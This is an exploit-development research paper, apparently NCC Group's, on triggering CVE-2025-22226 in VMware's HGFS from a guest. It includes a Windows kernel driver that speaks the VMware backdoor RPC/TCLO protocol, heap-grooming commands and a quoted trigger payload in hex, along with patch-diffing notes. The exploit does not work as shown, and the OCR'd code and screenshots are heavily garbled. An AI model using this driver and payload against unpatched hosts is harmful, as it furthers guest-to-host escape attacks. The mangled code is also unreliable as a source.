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1. Intfroduction

The Exploit Development Group (EDG) at NCC Group offers secondment opportunities to consultants who are
interested in performing vulnerability research and exploit development of complex bugs. In this secondment,
Alexander Zaviyalov decided to work on VMware CVEs because he had written exploits targeting VMware in the
past and because VMware is a popular target at Pwn20wn.

Initially, the following two CVEs were picked for this project:

o (CVE-2025-22226 - an out-of-bounds read in HGFS allowing a memory pointer to be leaked from the VMX
process

o (CVE-2025-22224 — a TOCTOU (Time-of-Check Time-of-Use) vulnerability in VMCI (VMware Virtual
Machine Communication Interface) allowing an out-of-bounds write leading to code execution under the
privileges of the VMX process

The vulnerabilities affected various VMware products such as VMware Cloud Foundation, Cloud Platform, Cloud
Infrastructure, Fusion (CVE-2025-22226 only), Workstation and ESXi. It was decided to focus on Workstation and
ESXi as those two products are exploited at Pwn20wn, and it would be easier to setup an exploit dev environment
for them.

In the case of VMware Workstation, the vulnerabilities affected versions up to and including 17.6.2. The next version
(17.6.3) patched them. In the case of ESXi (version 8.0 Update 3 specifically), versions up to and including 8.0
Update 3c were affected. ESXi 8.0 Update 3d patched them.

The initial idea was to research both vulnerabilities and write a working exploit that would bypass ASLR first (CVE-
2025-22226) and then perform code execution (CVE-2025-22224) allowing a guest to host escape. Having read the
blog post written by Huntress (https://www.huntress.com/blog/esxi-vm-escape-exploit) that explained the
complexity of both vulnerabilities exploited in the wild, it was decided to focus on the memory leak part first. Initially,
a Windows driver was written in C and ASM to understand how a VM communicates with the host OS via the
"backdoor" RPC and TCLO requests. Furthermore, patch diffing helped with locating where the vulnerability was
and how to trigger it, which was later done via a manual drag-and-drop of a file using a modified version of open-
vm-tools. After experimenting with the driver and open-vm-tools for a bit, an existing project written by equinix-ms
called go-vmw-guestrpc (specifically nanotoolbox) was found that already contained the VMware guest to host
"backdoor" functionality written in GoLang, which worked on multiple platforms. The code was modified to target
the vulnerability in HGFS and leak a memory pointer.
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2. Environment

A fully patched Windows 11 VM was setup on the consultant’s laptop to be used as the “host” OS. Inside that VM,
the vulnerable/patched versions of VMware Workstation 17.6.2/17.6.3 were installed to run another nested
Windows 11 VM (fully patched) inside it, which was the “guest”.

As the secondment advanced and it was decided to patch diff ESXi, the “bare-metal” hypervisor was also installed
as a separate VM on the consultant’s laptop and allowed the vulnerable/patched vmx files to be extracted from it.
Additionally, an Ubuntu 22.04.3 guest VM was also installed inside Workstation 17.6.3 to help identify how to trigger
the vulnerability via the modified open-vm-tools.
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3.VMware guest-to-host communication

3.1. Architecture

Whenever a VM is launched, a separate vmware-vmx.exe (or vmx in the case of ESXi) process associated with that
VM is started on the host OS. VMware Tools, which is normally installed on the VM, communicates with that
process via the VMCI or “Backdoor” interface (https://i.blackhat.com/EU-24/Presentations/EU24-Lee-Guest-
Revolution.pdf), which in turn offers various features such as clipboard copy/paste, screen resizing, drag-and-drop
(DnD) and transferring of files via a shared folder.

3.2. Huntress Blog Post

As explained in the Huntress blog post, the malicious driver performed backdoor requests to cause a memory leak.
Therefore, it was decided to learn how that backdoor mechanism worked and then write a Windows driver in C and
inline Assembly to hopefully get closer to triggering the bug.

3.3. Open-vm-tools and vmtools.dll

A lot of information about the backdoor mechanism was obtained from the official open-vm-tools GitHub pages and
by disassembling the vmtools.dll file found on the guest VM. Additionally, the course (OSEE by OffSec) that | did
many years ago, which | highly recommend, included a module on VMware guest-to-host escape that described the
backdoor mechanism in greater detail and explained how to connect the C and ASM code together to
communicate with it. Furthermore, this article (https:/rayanfam.com/topics/inline-assembly-in-x64/) explained how
to add inline Assembly to a Windows driver.

https://github.com/vmware/open-vm-tools/blob/master/open-vm-tools/lib/backdoor/backdoor.c
https://github.com/vmware/open-vm-tools/blob/master/open-vm-tools/lib/backdoor/backdoorGcc64.c

vmtools.dll Backdoor request (example 1)

| T=1E

text:0000000180073210 ; Exported entry 1. Backdoor
text:0000000188073210

text:0000000180073210

text:0000000180073210

text:0000000180073210 public Backdoor
text:0000000180073210 Backdoor proc near

text:0000000188073210 mov eax, 5658h
text:0000000180073215 mov dword ptr [rcx], 564D5868h
text:000000018007321B mov [rcx+18h], ax
text:000000018007321F jmp sub_ 180073270

text:000000018007321F Backdoor endp
text:000000018007321F
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® 5 =

.text:0000000180073270
.text:0000000180073270
.text:0000000180073270
.text:0000000180073270
.text:0000000180073270
.text:0000000180073270
.text:0000000180073270
.text:0000000180073270 push
.text:0000000180073272 push
.text:0000000180073273 push
.text:0000000186073274 mov
.text:0000000180073277 push
.text:0000000180073278 mov
.text:000000018007327C mov
.text:0000000180073280 mov
.text:0000000180073284 mov
.text:0000000180073288 mov
.text:000000018607328C mov
.text:000000018007328F in

.text:0000000180073290 xchg
.text:0000000180073294 mov
.text:0000000180073298 mov
.text:000000018007329C mov
.text:00000001800732A0 mov
.text:000000018600732A4 mov
.text:00000001800732A8 pop

.text:00000001800732AA pop

.text:00000001800732AB pop

.text:00000001800732AC pop

.text:00000001800732AD retn
.text:00000001800732AD
.text:00000001800732AD

sub_18007327@ proc near

var_20= qword ptr -26h

rbx
rsi
rdi
rax,
rax
rdi,
rsi,
rdx,
rcx,
rbx,
rax,
eax,
rax,

[rax+28h], rdi
[rax+20h], rsi
[rax+18h], rdx
[rax+16h]
[rax+8], rbx
qword ptr [rax]

rdi
rsi
rbx

sub_180073270 endp

rcx

[rax+28h]
[rax+20h]
[rax+18h]
[rax+16h]
[rax+8]

[rax]

dx
[rsp+2Bh+var_20]

, PCcx

vmtools.dll Backdoor High Bandwidth Out request sent from guest to host (example 2)

B =

.text:0000000180073250 ; Exported entry 4. Backdoor HbOut
.text:0000000180073250

.text:0000000180073250

.text:0000000180073250

.text:0000000180073250 public Backdoor HbOut
.text:0000000180073250 Backdoor HbOut proc near
Ltext:0000000180873250 mov eax, 5659h
.text:0000000180073255 mov dword ptr [rcx], 564D5868h
.text:000000018007325B mov [rcx+18h], ax
.text:000000018007325F jmp sub_1800732F8
.text:000000018007325F Backdoor HbOut endp
.text:000000018007325F
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.text:00000001800732F8

.text:00000001800732F8

.text:00000001800732F8

.text:00000001800732F8 sub_180B732F8 proc near
.text:00000001800732F8

.text:00000001800732F8 var_28= qword ptr -28h
.text:00000001800732F8

.text:00000001800732F8 push rbx
.text:00000001800732FA push rsi
.text:00000001800732FB push rdi
.text:00000001800732FC push rbp

.text:00000001800732FD mov rax, rcx
.text:0000000180073300 push rax
.text:0000000180073301 mov rbp, [rax+30h]
.text:0000000180073305 mov rdi, [rax+28h]
.text:0000000180073309 mov rsi, [rax+20h]
.text:000000018007330D mov rdx, [rax+18h]
.text:0000000180073311 mov rex, [rax+10h]
.text:0000000180073315 mov rbx, [rax+8]
.text:0000000180073319 mov rax, [rax]

.text:000000018007331C cld
.text:000000018007331D rep outsb
.text:000000018007331F xchg rax, [rsp+28h+var 28]

.text:0000000180073323 mov [rax+306h], rbp
.text:0000000180073327 mov [rax+28h], rdi
.text:000000018007332B mov [rax+20h], rsi
.text:000000018007332F mov [rax+18h], rdx
.text:0000000180073333 mov [rax+18h], rcx
.text:0000000180073337 mov [rax+8], rbx
.text:000000018007333B pop quword ptr [rax]
.text:000000018007333D pop rbp
.text:000000018007333E pop rdi
.text:000000018007333F pop rsi
.text:0000000180073340 pop rbx

.text:0000000180073341 retn
.text:0000000180073341 sub_1800732F8 endp
.text:0000000180073341

VMware uses RPC and TCLO (a custom VMware protocol) to communicate with the backdoor mechanism.
https://infocon.org/cons/Ruxcon/Ruxcon%202017/Leveraging%20VMware%27s%20RPC%20Interface%20for%20F

un%20and%20Profit%20by%20ZDI1%20Team.pdf
https://manuals.plus/m/e79fffo0c71d6c45c29ea170e4b57bfd895f450cd9de30b4ac3f98033b60158f.pdf

With regards to RPC, to send a single backdoor RPC command from a guest VM and receive a response from the
host, the following steps are required:

https://sysprogs.com/legacy/articles/kdvmware/guestrpc.shtml

1. Open a new channel
Send command length

Send command data

P w0 DN

Receive reply size

5. Receive reply data
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6. Signalize end-of-receive

7. Close the channel

The following screenshots are from the Driver.c file that was written to learn more about VMware’s backdoor
mechanism and how to interact with it via RPC and TCLO.

const
const
const
const
const
const

char+*
char+*
char+
char+
char+
char*

rpcCommandl
rpcCommand?
rpcCommand3
rpcCommand4
rpcCommand5s
rpcCommandé

"SetGuestInfo 7 11111111";
"SetGuestInfo 7 1";

= "tools.
= "tools.
= "tools.
= "tools.

capability.guest_conf_directory C:\\Users\\Public";
capability.hgfs_server toolbox 8";
capability.hgfs_server toolbox-dnd 1";

set.version 1";

DbgPrint("Manipulating heap state\n");

SendGuestRPCCommand{ (char*)rpcCommandl, strlen(rpcCommandl));
SendGuestRPCCommand( (char*)rpcCommand2, strlen(rpcCommand2));
SendGuestRPCCommand({ (char+)rpcCommand3, strlen(rpcCommand3));
SendGuestRPCCommand( (char*)rpcCommand4, strlen(rpcCommand4));
SendGuestRPCCommand( (char+)rpcCommand5, strlen(rpcCommands));
SendGuestRPCCommand( (char+)rpcCommandé, strlen(rpcCommands));

The above six RPC commands were obtained from the Huntress blog post and are understood to be related to
enabling certain HGFS features such as the drag-and-drop functionality as well as performing heap grooming by
opening/closing specific RPC channels. An attempt to replicate that was made in the following code.

char* SendBuestRPCCommand(char* inputData, ULONG inputDataSize)

1

Message_Channel chan;
memset(&chan, @, sizeof(chan));

if (!Message_Open(&chan, RPCI_PROTOCOL_NUM))

1

return NULL;

if (!Message_SendSize(&chan, inputDataSize))

if (!Message_SendData(&chan,

return NULL;

return NULL;

if (!Message_Receive(&chan))

if ((char*)inputData

}

return NULL;

(char*)inputData, inputDataSize))

“"SetBuestIinfo 7 1" || (charx)inputData == "tools.capability.hgfs_server toc

DbgPrint("Closing the channel for the command: %s\n", inputData);
Message_Close(&chan);

return B;

DbgPrint("NOT closing the channel for the command: %s\n", inputData);

return 0;
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It was required to add inline assembly to the C code to perform each of the above listed 7 steps of a backdoor RPC

call as explained in the following article:

https://web.archive.org/web/20210927172249/https://sites.google.com/site/chitchatvmback/backdoor

[%] Backdoor.asm 1.54 KiB

1
2
3
4
9
&
7
8
9

10
1
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59

.code

Backdoor_InOut PROC

; int

push
push
push
mov
push
mov
mov
mov
mov
mov
mov
in
xchg
mov
mov
mov
mov
mov
pop
pop
pop
pop
ret

z

rbx
rsi
rdi
rax,
rax
rdi,
rsi,
rdx,
rcx,
rbx,
rax,
gax,
rax,

rcx

[rax+28h]
[rax+20h]
[rax+18h]
[rax+10n]
[rax+8]
[rax]

dx

[rsp]

[rax+28h], rdi
[rax+20n], rsi
[rax+18h], rdx
[rax+10h], rcx
[rax+8], rbx

gword ptr [rax]

rdi
rsi
rbx

Backdoor_InOut ENDP

BackdoorHbOut PROC

rcx

[rax+30h]
[rax+28h]
[rax+20h]
[rax+18h]
[rax+10n]
[rax+8]
[rax]

[rsp]

[rax+30h], rbp
[rax+28h], rdi
[rax+20h], rsi
[rax+18h], rdx
[rax+10n], rcx
[rax+8], rbx

gqword ptr [rax]

push rbx
push rsi
push rdi
push rop
mov rax,
push rax
mov rop,
mov rdi,
mov rsi,
mov rdx,
mov rcx,
mov rbx,
mov rax,
cld

rep outshb
xchg rax,
mov

mov

mov

mov

mov

mov

pop

pop rbp
pop rdi
pop rsi
pop rbx
ret

BackdoorHbOut ENDP
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1 BackdoorHbIn PROC

62 push rox

&3 push rsi

&4 push rdi

65 push rbp

b6 mov rax, rcx

& push rax

&8 mov rbp, [rax+30h]
&9 mov rdi, [rax+28h]
70 mov rsi, [rax+20h]
71 mov rdx, [rax+18h]
72 mov rcx, [rax+10h]
73 mov rbx, [rax+8]
74 mov rax, [rax]

73 cld

74 rep insh

77 xchg rax, [rsp]

78 mov [rax+30h], rbp
79 mov [rax+28h], rdi
20 mov [rax+20R], rsi
81 mov [rax+18n], rdx
82 mov [rax+10n], rcx
83 mov [rax+8], rbx
84 pop gword ptr [rax]
85 pop rop

86 pop rdi

87 pop rsi

88 pop rbx

89 ret

90 BackdoorHbIn ENDP

When the “in” or “out” assembly instruction is called (e.g. in the “Backdoor” or “BackdoorHbOut” decompiled
functions from vmtools.dll), it can normally only be called from kernel space. However, when these instructions are
run from user space, the exception is intercepted by the VMware host and the values set for the CPU registers
(EAX, EDX, etc.) are used as parameters for the specific backdoor functions in vmware-vmx.exe / VMX. For
example, the EAX register needs to contain the backdoor value of 0x564D5868. The value of EDX (the lower 16-
bits) needs to contain the I/O port number (0x5658 or 0x5659, depending on whether it’s a regular backdoor
request or a High Bandwidth backdoor request allowing more than 4 bytes).

The appropriate values for each CPU register associated with a specific RPC request along with the C structures
and their accompanying ASM code were obtained from the official open-vm-tools GitHub pages.

https://github.com/vmware/open-vm-tools/blob/master/open-vm-tools/lib/message/message.c
https://github.com/vmware/open-vm-tools/blob/master/open-vm-tools/lib/include/guest_msg_def.h
https://github.com/vmware/open-vm-tools/blob/master/open-vm-tools/lib/include/backdoor_types.h

All that code was added to the Windows driver.
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C Driver.c 13.64 KiB
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Frs

#include <ntddk.h>

#include <wdm.h>

#include <ntstrsafe.h>

#define
#define
#define
#define
#define
#define
#define
#define
#define

#define
#define
#define
#define

typedef

typedef union {
struct {

RPCI_PROTOCOL_NUM Bx49435852
TCLO_PROTOCOL_NUM Bx4f4c4354
MESSAGE_STATUS_SUCCESS 0x0001
MESSAGE_STATUS_DORECV  0x0002
BDOOR_CMD_MESSAGE 30
BDOOR_MAGIC BOx564D5868
BDOOR_PORT 0x5658

BDOORHB_PORT 8x5659
BDOORHB_CMD_MESSAGE 0

DECLARE_REG32_STRUCT struct { UINT16 low; UINT16 high; } halfs; UINT32 word

DECLARE_REG64_STRUCT DECLARE_REG32_STRUCT; struct { UINT32 low; UINT32 high; } words; UINT64 gquad
DECLARE_REG_STRUCT DECLARE_REG&64_STRUCT

DECLARE_REG_NAMED_STRUCT(_r) union { DECLARE_REG_STRUCT; }

enum

MESSAGE_TYPE_OPEN,
MESSAGE_TYPE_SENDSIZE,
MESSAGE_TYPE_SENDPAYLDAD,
MESSAGE_TYPE_RECVSIZE,
MESSAGE_TYPE_RECVPAYLOAD,
MESSAGE_TYPE_RECVSTATUS,
MESSAGE_TYPE_CLOSE,

} MessageType;

I in;

struct {

} out;

DECLARE _REG_NAMED_STRUCT (ax);
size_t size; /* Register bx. */
DECLARE _REG_NAMED_STRUCT (cx);
DECLARE _REG_NAMED_STRUCT (dx);
DECLARE _REG_NAMED_STRUCT(si);
DECLARE _REG_NAMED_STRUCT (di);

DECLARE _REG_NAMED_STRUCT (ax) ;
DECLARE _REG_NAMED_STRUCT (bx) ;
DECLARE _REG_NAMED_STRUCT (cx);
DECLARE _REG_NAMED_STRUCT (dx) ;
DECLARE _REG_NAMED_STRUCT(si);
DECLARE _REG_NAMED_STRUCT (di);

} Backdoor_proto;
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49  typedef union {
50 struct {
51 DECLARE _REG_NAMED_STRUCT (ax);
52 DECLARE _REG_NAMED_STRUCT (bx);
53 size_t size; /* Register cx. */
54 DECLARE _REG_NAMED_STRUCT (dx) ;
55 vintptr_t srcAddr; /* Register si.
56 vintptr_t dstAddr; /* Register di.
57 DECLARE _REG_NAMED_STRUCT (bp);
58 } in;
59 struct {
60 DECLARE _REG_NAMED_STRUCT (ax);
61 DECLARE _REG_NAMED_STRUCT (bx);
62 DECLARE _REG_NAMED_STRUCT (cx);
63 DECLARE _REG_NAMED_STRUCT (dx) ;
b DECLARE _REG_NAMED_STRUCT(si);
65 DECLARE _REG_NAMED_STRUCT (di);
bé DECLARE _REG_NAMED_STRUCT (bp);
67 } out;
48 } Backdoor_proto_hb;
69
70 typedef struct Message_Channel {
71 UINT16 id;
72 void* inAlloc;
73 ULONG size;
74} Message_Channel;
73
76  extern void Backdoor_InOut(Backdoor_proto* myBp);
77  extern void BackdoorHbOut(Backdoor_proto_hb* myBp);
78 extern void BackdoorHbIn(Backdoor_proto_hb* myBp);
79
80 wvoid Backdoor(Backdoor_proto® myBEp)
81 {
82 myBp->in.ax.word = BDOOR_MAGIC;
83 myBp->in.dx.halfs.low = BDOOR_PORT;
84 Backdoor_InOut(myBp);
85 | }
84
87 woid Backdoor_HbOut(Backdoor_proto_hb* myEp)
gs  {
89 myBp->in.ax.word = BDOOR_MAGIC;
el myBp->in.dx.halfs.low = BDOORHE_PORT;
91 BackdoorHbOut(myBp) ;
92 |}
93
94  yoid Backdoor_HMbIn(Backdoor_proto_hb* myBp)
95 {
94 myBp->in.ax.word = BDOOR_MAGIC;
Q7 myBp-=>in.dx.halfs.low = BDOORHE_PORT;
98 BackdoorHbIn(myBp);
99 |}
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It was then possible to call each individual RPC command, for example, to open a new RPC channel, send
command length and so on.

187 BOOLEAN Message_Open(Message_Channel* chan, ULONG protocol_type)

188 |

189 Backdoor_proto bp;

118 memset(&bp, 0x0, sizeof(bp));

111

112 bp.in.cx.halfs.high = MESSAGE_TYPE_OPEN;

113 /* IN: Maogic number of the protocol and flags */
114 bp.in.size = protocol_type;

115 bp.in.cx.halfs.low = BOOOR_CMD_MESSAGE;

116

117 Backdoor (&bp) ;

118

119 f* OUT: Status =/

120 if ((bp.in.cx.halfs.high & MESSAGE_STATUS_SUCCESS) == 8) {
121 DbgPrint(“Message: Unable to open a communication channel\n");
122 return FALSE;

123 }

124

125 /* OUT: Channel ID =/

126 chan->id = bp.in.dx.halfs.high;

127 return TRUE;

128 }

ncc
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4. Understanding the TCLO Protocol

The following information was reviewed in the Huntress blog post:

A large buffer of zeros (~50KB) is sent through the channel, followed by the string “ox ATR

toolbox-dnd” to initialize the HGFS drag-and-drop operation.

Finally, the exploit constructs and sends the payload that triggers the out-of-bounds read:

® 4F 4B 20 00 00 00 00 FF 00 00 00 A5 C5 00 00 A4 Cc5 00 00 00 00 00 B8O 29
00 00 00 + [50573 zeros]

Having done some research around the “OK ATR toolbox-dnd” command it was understood that the “OK ATR ”
part is a TCLO-specific command (https://wiki.osdev.org/VMware tools#TCLO) found among other commands in
the following function in Workstation 17.6.3:

sub_1400E69F0
LABEL_4:
vO = 24 % v8;
v10 = *(&xmmword_140D96C20@ + v9);
switch ( v10 )
{
case @:
if (lal )
{
sub_1401293B@(guest application, “"reset™, 5, sub_14PQES56CO, @);
*(&xmmword_140D96C20 + vI9) = 1;
return 1;
}
if ( !sub 14@0F5AB@(al, “reset™, 5u, sub 1400FE5A40, al) )
return 9;
*(&xmmword_140D96C20 + vI) = 1;
return 1;
case 1:
v18 = sub_140691796();
log_function(
"GuestRpc: Channel %u, protocol error: the guest application was expected to fetch %s's
guest application,
v18);
goto LABEL_19;
case 2:
if ( strncmp(command, "OK ATR ", 7u) )
{
log function(
"GuestRpc: Channel %u, protocol error: expected an ATR from the guest application\n”,
guest_application);
goto LABEL_27;
}
return handle ok _atr(guest application, command + 7) != @;
case 3:
if ( *command )
{
log_function(
"GuestRpc: Channel %u, protocol error: expected an empty message from the guest applic
guest_application,

k(*(&xmmword_l48D96C2@ + v9 + 8) + 16LL));
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"GuestRpc: Channel %u, protocol error: the guest application was expected to fetch %s's

sub 140@FE600@("TCLO", puest application, @, *(*(Rxmmword 140D96C20 + v9 + 8) + 16LL), comm

protocol error: expected an OK or ERROR reply message from -

82

83 guest_application,

84 v20);

25 LABEL 19:

86 v19 = guest_application;

87 if ( a1 )

88 goto LABEL 28;

89 sub_ 140129430 (guest application, @);

90 return @;

91 case 5:

92

93 if ( !strncmp(command, "ERROR ", 6u) )

94 {

95 command_plus_three = command + 6;

96 v22 = 1;

97 v23 = *(*(&xmmword_140D96C20 + v9 + 8) + 32LL);
98 command_size = a4 - 6;

99 }

100 else

lel

102 if ( !strcmp(command, "OK Unknown command™) )
103 {

104 V22 = 13

105 v23 = *(*(&xmmword 140D96C20 + v9 + 8) + 32LL);
106 }

107 else

108 {

189 v25 = strncmp(command, "OK ", 3u);
118 v26 = *(&xmmword_140D96C20 + v9 + 8);
111 if ( v2s )

112

113 log_function(

114 "GuestRpc: Channel %u,

115 guest application,

116 *(v26 + 16));

117 LABEL 27:

118 v1l9 = guest application;

119 LABEL_28:

1208 OK_handler(vio, @);

And the “toolbox-dnd” part is the application / channel name that needs to be registered in the VM to allow the DnD
functionality between guest and host. Function sub_1400EF740 in 17.6.3 reveals that application name among

others.
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1 const char * fastcall ToolsGetAppGenericName(char *Strl)

2 {
3

L~

9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30 }

__inte4d v2; // rdx
char v3; // al

v2 = 0;
while ( 1)
{

v3 = Strifv2++];
if ( v3 != aToolbox[v2 - 1] )
break;
if ((v2 ==8)
return "daemon™;
}
if ( !strcmp(Strl, "toolbox-ui™) )
return "ui";
if ( !stremp(Strl, "toolbox-dnd™) )
return "userProc”;
if ( !stremp(Strl, "tools-upgrader") )
return "upgrader";
if ( !strcmp(Strl, "tools-sso™) )
return "sso";
if ( Istrcmp(Stril, "tools-hgfs™) )
return "hgfs";
if ( lstremp(Strl, "vdiagent™) )

log function("%s: vdiagent status not set\n", "ToolsGetAppGenericName");

else

sub_140687330("%s: Unknown app name '%s'\n", "ToolsGetAppGenericName™, Strl);

return 0;

An attempt to send these payloads programmatically using the backdoor mechanism was performed after having
studied the TCLO protocol.

It was initially assumed that it would first need to open a channel, send an empty request, receive an empty

response and then send the actual data, which in this case would be payload1 (~50k of zeros), then payload2 (“OK
ATR toolbox-dnd”) and then payload3 - "4F 4B 20 00 00 00 00 FF 00 00 00 A5 C5 00 00 A4 C5 00 00 00 00 00 80
29 00 00 00" followed by 50573 zeros.
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288 BOOLEAN SendTCLOReguests()
289 {
290 Message_Channel chan;
291 memset(&chan, 0, sizeof(chan));
292
293 DbgPrint("Opening a TCLO channelyn");
294 if (!Message_Open(&chan, TCLO_PROTOCOL_NUM))
295 1
296 DbgPrint("Failed to open a TCLO channelin");
297 return NULL;
298 I3
299
360 DbgPrint("Sending an empty TCLO reguest size\n");
301 if (!Message_SendSize(&chan, @))
302 i
303 DbgPrint("Failed to send an empty TCLO reguest size\n");
304 return NULL;
385 }
306
387 DbgPrint("Receiving an empty TCLO response\n");
308 if (!Message_Receive(&chan))
389 {
310 DbgPrint("Failed to receive an empty TCLO responsein");
311 return NULL;
312 }
313
314 charx Str = (charx)ExAllocatePoolWithTag(NonPagedPool, Bx100088, (ULONG)"TEST");
315 if (Str == NULL) return FALSE;
316 RtlZeroMemory(Str, 0x10080);
317
348 //Payload 1 - ~50k of zeros (in this case it's 506080)
349 DbgPrint(“Sending the ~50k of zeros request size\n");
350 ULONG payloadSize = 50624 - 24;
351 if (!Message_SendSize(&chan, payloadSize))
352 1
353 DbgPrint("Failed to send the ~50k of zeros request size\n");
354 ExFreePool(5tr);
355 return NULL;
356 }
397
358 DbgPrint(“Sending the ~50k of zeros request data\n");
359 if (!Message_SendData(&chan, (char*)Str, payloadSize))
3560 1
3561 DbgPrint("Failed to send the ~50k of zeros regquest data\n");
362 ExFreePool(5tr);
363 return MNULL;
364 }
365
366 DbgPrint("Receiving the response from the host to payload 1%\n");
367 if (!Message_Receive(&chan))
368 1
369 DbgPrint("Failed to receive the response to payload 1\n");
370 ExFreePool(5tr);
371 return HULL;
372 }
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374 //Payload 2 - the "OK ATR toolbox-dnd" command
375 DbgPrint("Sending the \"OK ATR toolbox-dnd\" command regquest size\n");
376 const char* cmd = "OK ATR toolbox-dnd";
377 size_t cmd_len = strlen(cmd);
378 RtlZeroMemory(Str, 0x10080);
379 RtlCopyMemory(Str, cmd, cmd_len);
380 payloadSize = (ULONG)cmd_len;
381 if (!Message_SendSize(&chan, payloadSize))
382 {
383 DbgPrint(“Failed to send the \"OK ATR toolbox-dnd\" command reguest size\n");
384 ExFreePool(Str);
385 return NULL;
386 }
387
388 DbgPrint("Sending the \"OK ATR toolbox-dnd\" command request data\n");
389 if (!Message_SendData(&chan, (char*)Str, payloadSize))
390 {
391 DbgPrint("Failed to send the \"OK ATR toolbox-dnd\" request data\n");
392 ExFreePool(Str);
393 return NULL;
394 }
395
396 DbgPrint("Receiving the response from the host to payload 2\n");
397 if (!Message_Receive(&chan))
398 {
399 DbgPrint("Failed to receive the response to payload 2\n");
400 ExFreePool(Str);
481 return NULL;
402 }
404 //Payload 3 - the hex values
405 DbgPrint("Sending the hex values + 508573 zeros request size\n");
406 static const CHAR hex[] = "\x&4F\x4B\x20\x00\x00\x00\x00\xFF\x00\x00\x00\xA5\xC5\x00\x00\ xA4\xC5\x00\
407 size_t hex_len = sizeof(hex) - 1; // exclude the compile-time trailing NUL
408 RtlZeroMemory(Str, ©x10000);
409 RtlCopyMemory(Str, hex, hex_len);
410 payloadSize = (ULONG)hex_len + S50573;
411 if (!Message_SendSize(&chan, payloadSize))
412 i
413 DbgPrint("Failed to send the hex values + 58573 zeros request size\n");
414 ExFreePool(S5tr);
415 return NULL;
416 +
417
418 DbgPrint("Sending the hex values + 58573 zeros reguest data\n");
419 if (!Message_SendData(&chan, (char*)Str, payloadSize))
420 {
421 DbgPrint("Failed to send the hex values + 58573 zeros request data\n");
422 ExFreePool(5tr);
423 return NULL;
424 +
425
426 DbgPrint("Receiving the response from the host to payload 3\n");
427 if (!Message_Receive(&chan))
428 i
429 DbgPrint("Failed to receive the response to payload 3%\n");
430 ExFreePool(5tr);
431 return NULL;
432 +
433
434 /* done with Str %/
435 ExFreePool(5tr);
436
437 char* output = (char*)ExAllocatePoolZero(NonPagedPool, Bx180088, (ULONG)"ABCD");
438 if (output == NULL) {
439 DbgPrint("Failed to allocate output bufferin");
440 return FALSE;
441 +
442
443 RtlCopyMemory (output, chan.inAlloc, chan.size);
444 ExFreePool(chan.inAlloc);
445 DbgPrint("The data is: %s\n", output);
LLA
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It was initially assumed that the memory leak would happen when the host sent a reply to the guest via TCLO. The
patch diffing process shown in the next section of this paper revealed a different approach required to trigger a
leak.

The above code wasn’t causing a memory leak because at that time we didn’t know where the vulnerability was,
and it was later understood that TCLO works as an event loop.

https://github.com/openbsd/src/blob/master/sys/dev/pv/vmt.c#L 1086
https://github.com/openbsd/src/blob/master/sys/dev/pv/ivmt.c#L 1165

Therefore, the host / guest send commands to each other based on the other party's response. If the host sends
“reset” as a response, the guest responds with “OK ATR toolbox”. Although in our case payload2 was “OK ATR
toolbox-dnd”, so it wasn’t exactly clear how to properly craft our TCLO requests and in what order.

Furthermore, after enabling the following logs on the host, it was possible to identify the issue with the “toolbox-
dnd” application by reviewing the vmware.log file.

toolbox.log = "true"
vgauth.log = "true"
tools.debug = "true"

2026-03-03T10:40:02.675Z -INFO vmware-vmx.exe 19348 [ws@4413 threadName="vcpu-1"]
GuestRpc: Channel 6, protocol error: expected an ATR from the guest application
2026-03-03T10:40:02.676Z -INFO vmware-vmx.exe 19348 [ws@4413 threadName="vcpu-1"]
GuestRpc: Channel conflict: guest application toolbox-dnd tried to register, but it
is still registered on channel 1

We struggled to register the “toolbox-dnd” application since it was already being used by vmware-tools. We tried
disabling and removing vmware-tools and rebooting the VM to then send our TCLO requests directly from the
driver, but we still couldn’t register that application. It was probably because at that time we were sending TCLO
requests one after another sequentially, treating it like RPC, but it didn’t quite work the same way, it worked like an
event loop. The next step would be to improve the Windows driver to handle empty TCLO polls, ping etc. and make
it work like an event loop, but we took a different approach as explained further in this paper.
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5. Patch Diffing and Vulnerability Analysis

The initial patch diffing was done against vmware-vmx.exe 17.6.2 and 17.6.3 using Diaphora.
The tool found 427 functions that had been modified in the patched version.

IDA View-A, Best matches, Partial matches, Problematic matches, Unmatched in primary, Unmatched in secondary, Pseudocode-A @ | Hex View-1 D
DA View-A x| ﬁ Best matches x| % Partial matches = a Problematic matches [ ﬁ Unmatched in primary [ x| ﬁ Unmatched in secondary B
Line Address Name Address 2 Name 2 Ratio BBlocks 1 BBlocks 2 Description

14073e7b0
14U4me€‘

3 14073d5a0 sub_ 14073
14081ch50 sub 14IJBJCBSIJ 14081240 sub 14|J51C-4(| 0 ‘501533
]‘1IJF.1h () Sub HIJF.]F‘?ED 14UE]P|}D sub 1'?IJ81EFIJIJ IJ 1053

3 QI Sme
- —

Sub_ TA0TTADI0
@ ?Bunuuu

14U4 di60 sub_1404ED0G0 14U4 al Ems 14'J4ECFA(' _
1307 3ach0 ams 14umu\cec- 130723260 SUb 1207 AAIED D, 751 nqs _ Calle
0 i b 14051 R SUD. 1208 AAZ0 I (D R &

b 190 7AD7 U0 1507ACFED 0 mvv - - PN matches sss
IR 5ob. 130 Em D "40 N738357 & ; =

__
—_ Callee founc

0. BRI
ﬂ_ Ca =
:HIH =i sub1404CESED 5 =
0 ] =
14U7ﬁ 30 _ Calle 55
_
14IJ4rHaCI 14u4- 50 @ 158 —_ T oot o g Matches Bssembly (eraton 1)
140752530 A — und difting m < ; (iteration &
' Sam rare asst
140 7ad250 0.6570000 Callee fo
0 il

Callee
B i Jcallee
__ Ca 2e

075730
140/73ei10

Due to the total number of changed functions, it was decided to place a breakpoint on all of them (with the help of a
WinDbg plugin called RebaseExt) and start the driver on the VM. Only 4 modified functions were hit, which were
then reviewed in more detail.

Of particular interest was the function sub_14072C8D0 (vuln) / sub_14072C830 (patched) related to creating a
session (HGFileCopyCreateSessionCB) allowing the DnD functionality. The patched version of the function
contained another nested function that wasn’t present in the vulnerable version of vmware-vmx.

ncc
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IDA View-A4, Best matches, Partial matches, Diff pseudo-code sub_14072C8D0 - sub_14072C830, Problematic matches, Unmatched in primary, Unmatched in secondary, Pseudocode-A @ @ Hex View-1
[= DA vView.. [] W Bestmatc.. [] W Partial matc... [ Diff pseudo-code sub_14072C8D0 - sub_14072C8.. [ W Problematic match... -] ¥ Unmatched in prim... 2] % Unmatched in second... [©

50 wvE& = sub_140825030( 51 wE = sub 140E824850(
51 (_DWORD) a3, 52 (_DWORD) a3,
